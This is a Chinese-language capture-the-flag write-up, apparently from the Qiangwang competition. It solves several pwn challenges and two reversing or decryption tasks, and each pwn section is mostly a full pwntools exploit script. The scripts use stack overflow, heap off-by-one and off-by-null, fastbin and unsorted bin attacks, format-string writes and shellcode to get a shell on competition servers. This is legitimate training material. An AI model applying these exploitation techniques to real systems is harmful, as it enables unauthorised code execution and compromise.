强网先锋 babymessage 栈溢出漏洞,通过0x10
的输入修改rbp
,通过判断,使得输入的大小改为0x100
,修改返回地址,调用puts
泄露libc
地址,由于rbp
改变,在进行一遍覆盖rbp
,覆盖返回地址即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *file_path = "./babymessage" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process([file_path]) gdb.attach(p, "b *0x400963\\n" ) libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.27/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('123.56.170.202' , 21342 ) libc = ELF('./libc-2.27.so' ) one_gadget = 0x0 def leave_name (name ): p.sendlineafter("choice: \\n" , "1" ) p.sendafter("name: \\n" , name) def leave_message (message ): p.sendlineafter("choice: \\n" , "2" ) p.sendafter("message: \\n" , message) def show_message (): p.sendlineafter("choice: \\n" , "3" ) def shut (): p.sendlineafter("choice: \\n" , "4" ) p_rdi_r = 0x400ac3 p_rsi_r15_r = 0x400ac1 call_write = 0x400904 call_puts = 0x40087C main_address = 0x4009DD mm_address = 0x6010c0 leave_message_address = 0x400821 jmp_rbp = 0x0000000000400d23 leave_ret = 0x0000000000400886 work_address = 0x40091A leave_name("9999" ) leave_message(p64(leave_ret) + p64(mm_address + 0x18 -0x4 )) leave_message(p64(leave_ret) + p64(mm_address + 0x8 ) + p64(p_rdi_r) + p64(elf.got['read' ]) + p64(elf.plt['puts' ]) + p64(work_address)) p.recvline() p.recvline() libc.address = u64(p.recv(6 ).ljust(8 , b"\\x00" )) - libc.sym['read' ] log.success("libc address {}" .format (hex (libc.address))) leave_message(b"b" *0x8 + p64(mm_address + 0x18 -0x4 )) leave_message(p64(leave_ret) + p64(mm_address + 0x18 -0x4 ) + p64(p_rdi_r) + p64(libc.search(b"/bin/sh" ).__next__()) + p64(p_rsi_r15_r) + p64(0 )*2 + p64(libc.sym['system' ])) p.interactive()
babynotes 在reset
申请0x18
大小的堆块,之后进行strcpy
的时候存在off-by-one
漏洞
首先通过unsorted bin
残留的地址泄露出libc
基址,接着利用off-by-one
漏洞造成chunk extend
,释放之后再次申请就可以直接控制下一个chunk
的fd
指针,fastbin attack
覆写malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *file_path = "./babynotes" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process([file_path]) gdb.attach(p, "b *0x400F67" ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0xf1207 else : p = remote('123.56.170.202' , 43121 ) libc = ELF('libc-2.23.so' ) one_gadget = 0xf1207 bbs_address = 0x6020c0 def regesit (name, motto, age ): p.sendafter("name: \\n" , name) p.sendafter("motto: \\n" , motto) p.sendlineafter("age: \\n" , str (age)) def add (index, size ): p.sendlineafter(">> " , "1" ) p.sendlineafter("Input index: " , str (index)) p.sendlineafter("Input note size: " , str (size)) def show (index ): p.sendlineafter(">> " , "2" ) p.sendlineafter("Input index: " , str (index)) p.recvuntil("Note {}: " .format (str (index))) def delete (index ): p.sendlineafter(">> " , "3" ) p.sendlineafter("Input index: " , str (index)) def edit (index, content ): p.sendlineafter(">> " , "4" ) p.sendlineafter("Input index: " , str (index)) p.sendafter("Input your note: " , content) def reset (name, motto, age ): p.sendlineafter(">> " , "5" ) regesit(name, motto, age) def check (): p.sendlineafter(">> " , "6" ) def shut (): p.sendlineafter(">> " , "7" ) regesit("12" , "12" , bbs_address) add(0 , 0x18 ) delete(0 ) add(2 , 0xd0 ) add(5 , 0x28 ) delete(2 ) add(1 , 0x68 ) add(0 , 0x68 ) delete(5 ) show(0 ) libc.address = u64(p.recv(6 ).ljust(8 , b"\\x00" )) - 88 - libc.sym['__malloc_hook' ] - 0x10 log.success("libc address {}" .format (hex (libc.address))) reset(cyclic(0x18 ), cyclic(0x20 ), 0xe1 ) delete(1 ) add(1 , 0xd0 ) delete(0 ) edit(1 , cyclic(0x68 ) + p64(0x71 ) + p64(libc.sym['__malloc_hook' ] - 0x23 )) add(0 , 0x68 ) add(2 , 0x68 ) edit(2 , b"\\x00" *3 + p64(0 )*2 + p64(one_gadget + libc.address) + b"\\n" ) add(3 , 0x30 ) p.interactive()
Just_a_Game edit
处存在一个0x8
字节的溢出,利用house of orange
释放top chunk
,泄露libc
基址。申请0x1000
的堆块的时候又获得了一次edit的机会
case 5
处的判断好像没有用,写入__malloc_hook-0x60
的地址可以通过,因此利用edit处的数组越界,对malloc_hook
进行改写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *file_path = "./Just_a_Galgame" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process([file_path]) gdb.attach(p, "b *0x04012C2" ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x10a45c else : p = remote('123.56.170.202' , 52114 ) libc = ELF('libc.so.6' ) one_gadget = 0x10a45c def add (): p.sendlineafter(">> " , "1" ) def edit (index, content ): p.sendlineafter(">> " , "2" ) p.sendlineafter("idx >> " , str (index)) p.sendafter("movie name >> " , content) def malloc_big_chunk (): p.sendlineafter(">> " , "3" ) def show_all (): p.sendlineafter(">> " , "4" ) def shut (content ): p.sendlineafter(">> " , "5" ) p.sendafter("a while? QAQ\\n" , content) buf_list = 0x404060 add() edit(0 , p64(0 )+p64(0xd41 )) malloc_big_chunk() add() show_all() p.recvuntil("1: " ) libc.address = u64(p.recv(6 ).ljust(8 , b"\\x00" )) - 0x660 - libc.sym['__malloc_hook' ] - 0x10 log.success("libc address {}" .format (hex (libc.address))) shut(p64(libc.sym['__malloc_hook' ] - 0x60 )) index = int ((0x4040A0 -0x404060 )/8 ) edit(index, p64(one_gadget + libc.address)) add() p.interactive()
Siri 这题目难顶,一开始写返回地址用的是rop
链,调system
,发现rsi
控制不了,字符串超了。之后改用gadget
,眼睁睁看着进了system
,execve
感觉也没啥问题,难顶,最后队友搞出来了。
后面填坑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *file_path = "./Siri" context.arch = "amd64" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 1 if debug: p = process([file_path], env={"LD_PRELOAD" :"./libc.so.6" }) gdb.attach(p, 'b *0x5555555552B1\\nb *0x555555555417' ) libc = ELF('./libc.so.6' ) one_gadget = 0x10a45c p_rdi_r = 0x10a45c else : p = remote('123.56.170.202' , 12124 ) libc = ELF('libc.so.6' ) one_gadget = 0x10a45c p_rdi_r = 0x10a45c str_head = "Remind me to " p.sendlineafter(">>> " , "Hey Siri!" ) payload = "%80$p %81$p %82$p %83$p" p.sendlineafter(">>> " , str_head + payload) p.recvuntil("remind you to " ) stack_address = int (p.recvuntil(" " , drop=True ), 16 ) - 0x1b0 canary = int (p.recvuntil(" " , drop=True ), 16 ) elf.address = int (p.recvuntil(" " , drop=True ), 16 ) - 0x14d0 libc.address = int (p.recvline().strip(b"\\n" ), 16 ) - 231 - libc.sym['__libc_start_main' ] strncmp_got = elf.got['strncmp' ] system_address = libc.sym['system' ] log.success("strncmp address {}" .format (hex (strncmp_got))) log.success("system address {}" .format (hex (system_address))) binsh_address = libc.search(b"/bin/sh" ).__next__() p_rdi_r += libc.address one_gadget += libc.address log.success("r rdi ret {}" .format (hex (p_rdi_r))) log.success("one gadget {}" .format (hex (one_gadget))) payload = str_head payload += "%{}c%57$hn" .format (0xffff & ((one_gadget & 0xffff ) - 27 )) payload += "%{}c%58$hn" .format (0xffff & (((one_gadget >> 16 ) & 0xffff ) - (one_gadget & 0xffff ))) payload += "%{}c%59$hn" .format (0xffff & (((one_gadget >> 32 ) & 0xffff ) - (one_gadget >> 16 ) & 0xffff )) payload += "%{}c%60$hn" .format (0xffff & (((one_gadget >> 48 ) & 0xffff ) - (one_gadget >> 32 ) & 0xffff )) payload = payload.ljust(0x48 , "a" ).encode() payload += p64(stack_address + 0x8 ) payload += p64(stack_address + 0x8 + 2 ) payload += p64(stack_address + 0x8 + 4 ) payload += p64(stack_address + 0x8 + 6 ) p.sendlineafter(">>> " , "Hey Siri!" ) p.sendlineafter(">>> " , payload) log.success("system address {}" .format (hex (system_address))) log.success("bin sh address {}" .format (hex (binsh_address))) log.success("stack address {}" .format (hex (stack_address))) log.success("binary base {}" .format (hex (elf.address))) log.success("canary {}" .format (hex (canary))) log.success("libc address {}" .format (hex (libc.address))) p.interactive()
红方辅助 从客户端来看首先是发送的G
,然后服务端返回btime
,客户端对数据进行加密之后发送boffset
,enc_data
。
加密函数中随机产生的数据,如fn,salt
都包含在加密数据的起始位置,如果可以得到这些随机数据既可以对数据流进行解密
题目给出了与服务端进行通信的数据流,使用Wireshark
的TCP
流追踪得到完整的通信过程,但是最后一次的通信缺少pcount
,自行添加即可
解密之后的数据可以通过sublime
缩略图看,不然e,8
分不清
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *import structimport binasciiimport multiprocessingimport randomfrom hashlib import md5, sha256def get_salt (data ): return int ((md5(sha256(data.encode()).digest())).hexdigest(), 16 ) % 256 def get_bytes (data ): length = len (data) new_data = b"" index = 0 while index < length: new_data += p8(int (data[index:index + 2 ], 16 )) index += 2 return new_data def encrypt (data, btime, count ): funcs = { "0" : lambda x, y: x - y, "1" : lambda x, y: x + y, "2" : lambda x, y: x ^ y } offset = { "0" : 0xefffff , "1" : 0xefffff , "2" : 0xffffff , } length = len (data) + 10 fn = str (random.randint(0 , 65535 ) % 3 ).encode() salt = get_salt(data) t = struct.unpack("<i" , btime)[0 ] boffset = offset[fn.decode()] t -= boffset t = struct.pack("<i" , t) enc = struct.pack("<IIcB" , count, length, fn, salt) i = 0 for c in data: enc += chr ((funcs[fn.decode()](ord (c) ^ ord (t[i]), salt) % 256 )) i = (i + 1 ) % 4 return boffset, enc fn_di = ["001" , "011" , "111" , "010" , "100" , "110" , "000" , "111" ] def decrypt (btime, boffset, data, pcount ): funcs = { b"0" : lambda x, y: x + y, b"1" : lambda x, y: x - y, b"2" : lambda x, y: x ^ y } offset = { "0" : 0xefffff , "1" : 0xefffff , "2" : 0xffffff , } length = len (data) - 10 t = btime - boffset t = struct.pack("<i" , t) count, length, fn, salt = struct.unpack("<IIcB" , data[:10 ]) res = "" data = data[10 :] for index, c in enumerate (data): res += chr ((funcs[fn](c, salt) % 256 ) ^ t[index % 4 ]) return res def big_small_end_convert (data ): return binascii.hexlify(binascii.unhexlify(data)[::-1 ]) def total_decrypt (): res = dict () f = open ("./encdata.txt" , "rb" ) rf = open ("./dedata.txt" , "w" ) readlines = f.readlines() f.close() lines_num = len (readlines) index = 0 while index < lines_num: btime = struct.unpack("<i" , get_bytes(readlines[index + 1 ].strip(b"\\r\\n" )))[0 ] boffset = struct.unpack("<i" , get_bytes(readlines[index + 2 ].strip(b"\\r\\n" )))[0 ] data = get_bytes(readlines[index + 3 ].strip(b"\\r\\n" )) pcount = struct.unpack("<i" , get_bytes(readlines[index + 4 ].strip(b"\\r\\n" )))[0 ] de_data = decrypt(btime, boffset, data, pcount) index += 5 rf.writelines(de_data + "\\n" ) rf.close() if __name__ == "__main__" : total_decrypt()
侧防 对12f0
函数中进行的操作逆向,该操作首先是依次与给定数组进行异或+'A'
,然后四位一组进行右移一位。
出来的flag
少了后面两位猜测为 score}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *ans1 = "4F4243684E76495C65775554647C784C" ans2 = "78796974435A466D497D57664E44714C" ans3 = "4462655E57505C4F" flag1 = [] flag2 = [] flag3 = [] byt = [0x51 , 0x57 , 0x42 , 0x6c , 0x6f , 0x67 , 0x73 ] str_len = len (ans1) + len (ans2) + len (ans3) print (str_len)i = len (ans1) while i > 0 : flag1.append(int (ans1[i - 2 :i], 16 )) i -= 2 i = len (ans2) while i > 0 : flag1.append(int (ans2[i - 2 :i], 16 )) i -= 2 i = len (ans3) print (i)while i > 0 : flag1.append(int (ans3[i - 2 :i], 16 )) i -= 2 print ("flag1" , flag1)i = 0 while i < int (str_len / 2 ): tmp_flag = flag1[i:i + 4 ] print (tmp_flag) for index, j in enumerate (tmp_flag): flag2.append(tmp_flag[(index + 1 ) % 4 ]) i += 4 print ("flag2" , flag2)for index, i in enumerate (flag2): flag3.append((i - 0x41 ) ^ byt[index % 7 ]) print ("flag 3" , flag3)print (len (flag3))print ("flag: " )l = 0 for i in flag3: l += 1 try : print (chr (i), end="" ) except : print () print (l) exit() print ()
Pwn direct edit
函数中offset
为有符号的int
类型,输入负值,导致可以任意的地址后向写
不存在输出函数和puts,printf
。没办法修改stdout
泄露libc
地址,这是注意到在output_dir
中存在输出,也就是调用readdir
函数,输出了返回指针+0x13
指向的位置。
从sysdeps/posix/readdir.c
中找到了该函数的源码,并且在调试中发现opendir
会申请一块0x8040
大小的堆块存储DIR
结构体,而readdir
就是根据该结构体中的数据进行操作的,会从fd
指向的文件中读取max大小的字节,存储到DIR+0x30
的位置。注意到返回的指针的操作
1 2 3 4 5 6 7 8 9 10 11 if (dirp->offset >= dirp->size){ dirp->size = (size_t ) bytes; dirp->offset = 0 ; } dp = (DIRENT_TYPE *) &dirp->data[dirp->offset];
如果将offset
的大小改写为小于size
,此时offset
就不会清零,也就是会返回指定位置的内存指针。即如果控制了offset,size
就可以得到想要的高地址处的指针。
而opendir
只有在调用的时候才会申请内存,那么在函数调用之后再次申请一块chunk
,对该chunk
进行edit
,后向任意写,就可以改写DIR
结构体中的数据,控制readdir
返回的内存指针,泄露libc
地址。
得到libc
地址之后,之后利用后向任意写改写fastbin
的fd
指针,覆写malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *file_path = "./direct" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process([file_path]) gdb.attach(p, 'b *0x555555554F4E' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x10a45c else : p = remote('106.14.214.3' , 1912 ) libc = ELF('libc-2.27.so' ) one_gadget = 0x10a45c def add (index, size ): p.sendlineafter("Your choice: " , "1" ) p.sendlineafter("Index: " , str (index)) p.sendlineafter("Size: " , str (size)) def edit (index, offset, size, content ): p.sendlineafter("Your choice: " , "2" ) p.sendlineafter("Index: " , str (index)) p.sendlineafter("Offset: " , str (offset)) p.sendlineafter("Size: " , str (size)) p.sendafter("Content: " , content) def delete (index ): p.sendlineafter("Your choice: " , "3" ) p.sendlineafter("Index: " , str (index)) def open_dir (): p.sendlineafter("Your choice: " , "4" ) def put_dir (): p.sendlineafter("Your choice: " , "5" ) for i in range (7 ): add(i, 0xd0 ) log.success("tcache has filled" ) dirp_address = 0x6020E8 dir_chunk_size = 0x8040 add(7 , 0x68 ) open_dir() add(8 , 0xd0 ) add(9 , 0x68 ) add(10 , 0x68 ) for i in range (7 ): delete(i) delete(8 ) offset = dir_chunk_size - 0x40 + 0x10 - 0x13 + 0x8 payload = p64(3 ) + p64(0x8000 ) + p64(offset + 0x10 ) + p64(offset) edit(9 , -(dir_chunk_size + 0xe0 ), 0x60 , payload) put_dir() p.recvuntil("Filename: " ) libc.address = u64(p.recv(6 ).ljust(8 , b"\\x00" )) - 96 - libc.sym['__malloc_hook' ] - 0x10 log.success("libc address {}" .format (hex (libc.address))) add(0 , 0x68 ) add(1 , 0x68 ) delete(0 ) edit(1 , -(0x70 ), 0x40 , p64(libc.sym['__malloc_hook' ])) add(2 , 0x68 ) add(3 , 0x68 ) edit(3 , 0 , 0x10 , p64(libc.address + one_gadget)) add(4 , 0x68 ) p.interactive()
easypwn off-by-null
漏洞,覆盖下一个堆块的大小的第一字节为\\x00
,从而造成堆重叠,覆盖unsorted bin
的bk
指针,利用unsorted bin attack
覆写global_max_fast
,使得所有的堆块分配到fastbin
中,在利用fastbin attack
覆写stdout
泄露libc
地址,覆写malloc_hook getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 from pwn import *file_path = "easypwn" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process([file_path], env={"LD_PRELOAD" :"./libc-2.23.so" }) gdb.attach(p, "b *0x555555554F97" ) libc = ELF('libc-2.23.so' ) one_gadget = 0xf0364 global_max_fast = b"\\xe8\\x77" stderr_157 = b"\\xdd\\x65" else : p = remote('39.101.184.181' , 10000 ) libc = ELF('libc-easypwn.so' ) one_gadget = 0xf1207 global_max_fast = b"\\xe8\\x77" stderr_157 = b"\\xdd\\x65" def add (size ): p.sendlineafter("Your choice:\\n" , "1" ) p.sendlineafter("size:\\n" , str (size)) def delete (index ): p.sendlineafter("Your choice:\\n" , "3" ) p.sendlineafter("idx:\\n" , str (index)) def edit (index, content ): p.sendlineafter("Your choice:\\n" , "2" ) p.sendlineafter("idx:\\n" , str (index)) p.sendafter("content:\\n" , content) if debug: add(0x28 ) add(0x138 ) add(0x168 ) edit(1 , cyclic(0xf0 ) +p64(0x100 ) + p64(0x41 ) + b"\\n" ) delete(1 ) edit(0 , cyclic(0x28 )) add(0x18 ) add(0x68 ) delete(1 ) delete(2 ) add(0x68 ) add(0x68 ) add(0x68 ) add(0x68 ) edit(5 , cyclic(0x10 ) + p64(0 ) + p64(0x21 ) + cyclic(0x18 ) + p64(0x21 ) + b"\\n" ) edit(2 , cyclic(0x10 ) + p64(0x20 ) + p64(0x71 ) + b"\\n" ) delete(1 ) edit(4 , b"a" *0x18 + p64(0x71 ) + p64(0 ) + global_max_fast + b"\\n" ) add(0x68 ) log.success("global max fast has changed" ) delete(2 ) delete(1 ) edit(3 , stderr_157 + b"\\n" ) edit(4 , cyclic(0x18 ) + p64(0x71 ) + b"\\x50\\n" ) add(0x68 ) add(0x68 ) add(0x68 ) edit(6 , b"\\x00" * 3 + p64(0 ) * 0x6 + p64(0xfbad2887 | 0x1000 ) + p64(0 ) * 3 + b"\\x00\\n" ) p.recv(0x40 ) libc.address = u64(p.recv(6 ).ljust(8 , b"\\x00" )) + 0x20 - libc.sym['_IO_2_1_stdout_' ] log.success("libc address {}" .format (hex (libc.address))) else : while True : try : add(0x28 ) add(0x138 ) add(0x168 ) edit(1 , cyclic(0xf0 ) +p64(0x100 ) + p64(0x41 ) + b"\\n" ) delete(1 ) edit(0 , cyclic(0x28 )) add(0x18 ) add(0x68 ) delete(1 ) delete(2 ) add(0x68 ) add(0x68 ) add(0x68 ) add(0x68 ) edit(5 , cyclic(0x10 ) + p64(0 ) + p64(0x21 ) + cyclic(0x18 ) + p64(0x21 ) + b"\\n" ) edit(2 , cyclic(0x10 ) + p64(0x20 ) + p64(0x71 ) + b"\\n" ) delete(1 ) edit(4 , b"a" *0x18 + p64(0x71 ) + p64(0 ) + global_max_fast + b"\\n" ) add(0x68 ) log.success("global max fast has changed" ) delete(2 ) delete(1 ) edit(3 , stderr_157 + b"\\n" ) edit(4 , cyclic(0x18 ) + p64(0x71 ) + b"\\x50\\n" ) add(0x68 ) add(0x68 ) add(0x68 ) edit(6 , b"\\x00" * 3 + p64(0 ) * 0x6 + p64(0xfbad2887 | 0x1000 ) + p64(0 ) * 3 + b"\\x00\\n" ) p.recv(0x40 ) libc.address = u64(p.recv(6 ).ljust(8 , b"\\x00" )) + 0x20 - libc.sym['_IO_2_1_stdout_' ] log.success("libc address {}" .format (hex (libc.address))) break except : p.close() p = remote('39.101.184.181' , 10000 ) delete(3 ) edit(2 , p64(libc.sym['__malloc_hook' ] - 0x23 ) + b"\\n" ) add(0x68 ) add(0x68 ) edit(7 , b"\\x00" *3 + p64(0 )*2 + p64(one_gadget + libc.address) + b"\\n" ) delete(2 ) delete(3 ) p.interactive()
oldschool c
文件编译生成的二进制文件的反汇编结果与mmap_edit
中的判断不同,导致通过mmap_edit
进行前向任意地址读写
首先通过unsorted bin
中残留的地址泄露libc
,利用任意地址写改写malloc_hook
发现mmap
的地址是具有可执行权限的,malloc_hook
指向mmap
写的shell code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *file_path = "./oldschool" context.arch = "i386" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b*0x56555754" ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) one_gadget = 0x0 else : p = remote('106.14.214.3' , 2333 ) libc = ELF('./libc-2.27.so' ) one_gadget = 0x0 def add (index, size ): p.sendlineafter("Your choice: " , "1" ) p.sendlineafter("Index: " , str (index)) p.sendlineafter("Size: " , str (size)) def delete (index ): p.sendlineafter("Your choice: " , "4" ) p.sendlineafter("Index: " , str (index)) def edit (index, content ): p.sendlineafter("Your choice: " , "2" ) p.sendlineafter("Index: " , str (index)) p.sendafter("Content: " , content) def show (index ): p.sendlineafter("Your choice: " , "3" ) p.sendlineafter("Index: " , str (index)) def shut (): p.sendlineafter("Your choice: " , "5" ) def mmap_allocate (index ): p.sendlineafter("Your choice: " , "6" ) p.sendlineafter("you want to start: " , str (index)) def mmap_edit (index, value ): p.sendlineafter("Your choice: " , "7" ) p.sendlineafter("Index: " , str (index)) p.sendlineafter("Value: " , str (value)) def mmap_delete (): p.sendlineafter("Your choice: " , "8" ) mmap_start = 0xe0000000 for i in range (7 ): add(i, 0xd0 ) mmap_allocate(0 ) shell = asm(shellcraft.sh()) shell = shell.ljust(int ((len (shell) + 4 )/4 )*4 , b"\\x90" ) shell_len = len (shell) i = 0 index = 0 while i < shell_len: mmap_edit(index, u32(shell[i:i+4 ])) i += 4 index += 1 log.success("shell and tcache finished" ) add(7 , 0x268 ) add(8 , 0xd0 ) for i in range (7 ): delete(i) add(0 , 0x68 ) delete(8 ) add(1 , 0x68 ) add(2 , 0x68 ) show(1 ) p.recvuntil("Content: " ) libc.address = u32(p.recv(4 ).ljust(4 , b"\\x00" )) - 0xa8 - libc.sym['__malloc_hook' ] - 0x18 log.success("libc address {}" .format (hex (libc.address))) malloc_hook_address = libc.sym['__malloc_hook' ] idx = int ((malloc_hook_address - mmap_start)/4 ) mmap_edit(idx, mmap_start) add(3 , 0x68 ) p.interactive()